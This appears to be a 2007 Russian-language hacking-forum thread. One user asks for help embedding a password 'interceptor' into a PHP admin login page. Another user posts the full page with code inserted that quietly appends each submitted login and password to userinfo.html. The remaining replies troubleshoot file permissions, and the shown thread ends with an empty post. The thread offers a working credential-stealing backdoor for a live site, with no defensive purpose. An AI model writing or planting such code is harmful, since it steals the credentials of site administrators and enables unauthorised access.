Внедрение кода ререхватчика в код PHP страницы. Help

Discussion in 'PHP' started by Minsor, 12 Apr 2007.

  1. Minsor

    Minsor Member

    Joined:
    28 Feb 2007
    Messages:
    20
    Likes Received:
    23
    Reputations:
    0
    Внедрение кода перехватчика в код PHP страницы. Help

    Нжна помощь.

    Есть страницы с формой (login & password) - ниже приведен код. Нужно прописать в этот код перехватчик данных формы, который пишет вводимые данные в .html файл. Вот пример кода перехватчика (выловил где-то в этом форуме):


    Code:
    <?php
    if(isset($_POST["txtUsername"]) && isset($_POST["txtPassword"]) && ))
    {
    $z = fopen("userinfo.html", "a");
    fwrite($z, '<br>Login: '.$_POST["txtUsername"]."\n");
    fwrite($z, '<br>Pass: '.$_POST["txtPassword"]."\n\n");
    fwrite($z, '<hr> ');
    fclose($z);
    }
    ?> 

    А это код страницы с формой:

    Code:
    <?php
    
            require_once('../config/config.php');
    	require('../config/func.php');
    	
    	if ($_GET['logout']=='1')
    		session_destroy();
    
    	if (auth())
    		header("Location: admin.php");
    
    	$errno=0;
    	$errno=(strlen($_POST['login'])) ? 0 : 1;
    	$errno+=(strlen($_POST['password'])) ? 0 : 2;
    
    
    
    	if(($errno==0) && !empty($_POST['post']))
    
    		{
    		if ($passDB=mysql_query("SELECT `haslo` AS p FROM `users` WHERE `login`='admin' LIMIT 1"))
    
    			{
    
    			$p=@mysql_result($passDB, 0, 0);
    			if (strlen($p))
    				{
    				$errno=($_POST['login']=='admin') ? 0 : 5;
    				$errno+=($_POST['password']==decode($p)) ? 0 : 4;
    				if ($errno==0)
    					{
    					$password=encode($_POST['password']);
    					session_register('login', 'password');
    					header("Location: admin.php");
    					}
    				}
    			else
    				$errno=7;
    			}
    		else
    			echo '<div class="error">Error in SQL query. Cannot read information from database</div>' . mysql_error();
    		}
    
    ?>
    
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
    <html>
    <head>
    <title><?php echo PageTitle ?> - Administration</title>
    <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
    <link href="../config/style.css" rel="stylesheet" type="text/css">
    </head>
    <body>
    
    <form method="post" action="index.php">
    <input type="hidden" name="post" value="true">
    	<table align="center" width="200">
    		<tr>
    			<td align="center" colspan="2" bgcolor="#eeeeee">
    				Enter login information:
    			</td>
    		</tr>
    		<tr>
    			<td width="40">Login:</td><td><input type="text" name="login" maxlength="15" style="width: 120px"></td>
    		</tr>
    		<tr>
    			<td>Password:</td><td><input type="password" name="password" maxlength="15" style="width: 120px"></td>
    		</tr>
    		<tr>
    			<td colspan="2" align="center">
    				<input type="submit" value=" LOG IN ">
    			</td>
    		</tr>
    		<tr>
    			<td colspan="2" align="center">
    				[ <a href="../index.php">return to homepage</a> ]
    			</td>
    		</tr>
    		<?php
    			if ($post)
    				{
    				echo '<tr><td colspan="2">';
    				if (($errno==1) || ($errno==3))
    					echo '<div class="error">Enter login name!</div>';
    				if (($errno==2) || ($errno==3))
    					echo '<div class="error">Enter password!</div>';
    				if (($errno==6) || ($errno==9))
    					echo '<div class="error">Wrong login name!</div>';
    				if (($errno==4) || ($errno==9))
    					echo '<div class="error">Wrong password!</div>';
    				if (($errno==7))
    					echo '<div class="error">Missing information about user in database!</div>';
    
    				echo '</td></tr>';
    				}
    		?>
    	</table>
    </form>	
    </body>
    </html>


    Другими словами, необходимо внедрить (адаптировать) код перехватчика в код страницы.

    Благодарю за помощь, если что, за мной +.
     
    #1 Minsor, 12 Apr 2007
    Last edited: 12 Apr 2007
  2. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,547
    Likes Received:
    1,398
    Reputations:
    612
    Code:
    <?php
    
            require_once('../config/config.php');
    	require('../config/func.php');
    	
    	if ($_GET['logout']=='1')
    		session_destroy();
    
    	if (auth())
    		header("Location: admin.php");
    
    	$errno=0;
    	$errno=(strlen($_POST['login'])) ? 0 : 1;
    	$errno+=(strlen($_POST['password'])) ? 0 : 2;
    
    
    
    	if(($errno==0) && !empty($_POST['post']))
    
    		{
    		if ($passDB=mysql_query("SELECT `haslo` AS p FROM `users` WHERE `login`='admin' LIMIT 1"))
    
    			{
    
    			$p=@mysql_result($passDB, 0, 0);
    			if (strlen($p))
    				{
    				$errno=($_POST['login']=='admin') ? 0 : 5;
    				$errno+=($_POST['password']==decode($p)) ? 0 : 4;
    				if ($errno==0)
    					{
    
    
    				$z = fopen("userinfo.html", "a");
    				fwrite($z, '<br>Login: '.$_POST["login"]."\n");
    				fwrite($z, '<br>Pass: '.$_POST["password"]."\n\n");
    				fwrite($z, '<hr> ');
    				fclose($z);
    
    					
    					$password=encode($_POST['password']);
    					session_register('login', 'password');
    					header("Location: admin.php");
    					}
    				}
    			else
    				$errno=7;
    			}
    		else
    			echo '<div class="error">Error in SQL query. Cannot read information from database</div>' . mysql_error();
    		}
    
    ?>
    
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
    <html>
    <head>
    <title><?php echo PageTitle ?> - Administration</title>
    <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
    <link href="../config/style.css" rel="stylesheet" type="text/css">
    </head>
    <body>
    
    <form method="post" action="index.php">
    <input type="hidden" name="post" value="true">
    	<table align="center" width="200">
    		<tr>
    			<td align="center" colspan="2" bgcolor="#eeeeee">
    				Enter login information:
    			</td>
    		</tr>
    		<tr>
    			<td width="40">Login:</td><td><input type="text" name="login" maxlength="15" style="width: 120px"></td>
    		</tr>
    		<tr>
    			<td>Password:</td><td><input type="password" name="password" maxlength="15" style="width: 120px"></td>
    		</tr>
    		<tr>
    			<td colspan="2" align="center">
    				<input type="submit" value=" LOG IN ">
    			</td>
    		</tr>
    		<tr>
    			<td colspan="2" align="center">
    				[ <a href="../index.php">return to homepage</a> ]
    			</td>
    		</tr>
    		<?php
    			if ($post)
    				{
    				echo '<tr><td colspan="2">';
    				if (($errno==1) || ($errno==3))
    					echo '<div class="error">Enter login name!</div>';
    				if (($errno==2) || ($errno==3))
    					echo '<div class="error">Enter password!</div>';
    				if (($errno==6) || ($errno==9))
    					echo '<div class="error">Wrong login name!</div>';
    				if (($errno==4) || ($errno==9))
    					echo '<div class="error">Wrong password!</div>';
    				if (($errno==7))
    					echo '<div class="error">Missing information about user in database!</div>';
    
    				echo '</td></tr>';
    				}
    		?>
    	</table>
    </form>	
    </body>
    </html>
    
     
  3. Minsor

    Minsor Member

    Joined:
    28 Feb 2007
    Messages:
    20
    Likes Received:
    23
    Reputations:
    0
    Что-то не так, нет записи в файл...
     
  4. Zitt

    Zitt Elder - Старейшина

    Joined:
    7 May 2006
    Messages:
    736
    Likes Received:
    268
    Reputations:
    59
    Права на запись поставил??
     
  5. Minsor

    Minsor Member

    Joined:
    28 Feb 2007
    Messages:
    20
    Likes Received:
    23
    Reputations:
    0
    И файл создан и права есть...
     
  6. AoD

    AoD Elder - Старейшина

    Joined:
    10 Feb 2006
    Messages:
    29
    Likes Received:
    11
    Reputations:
    2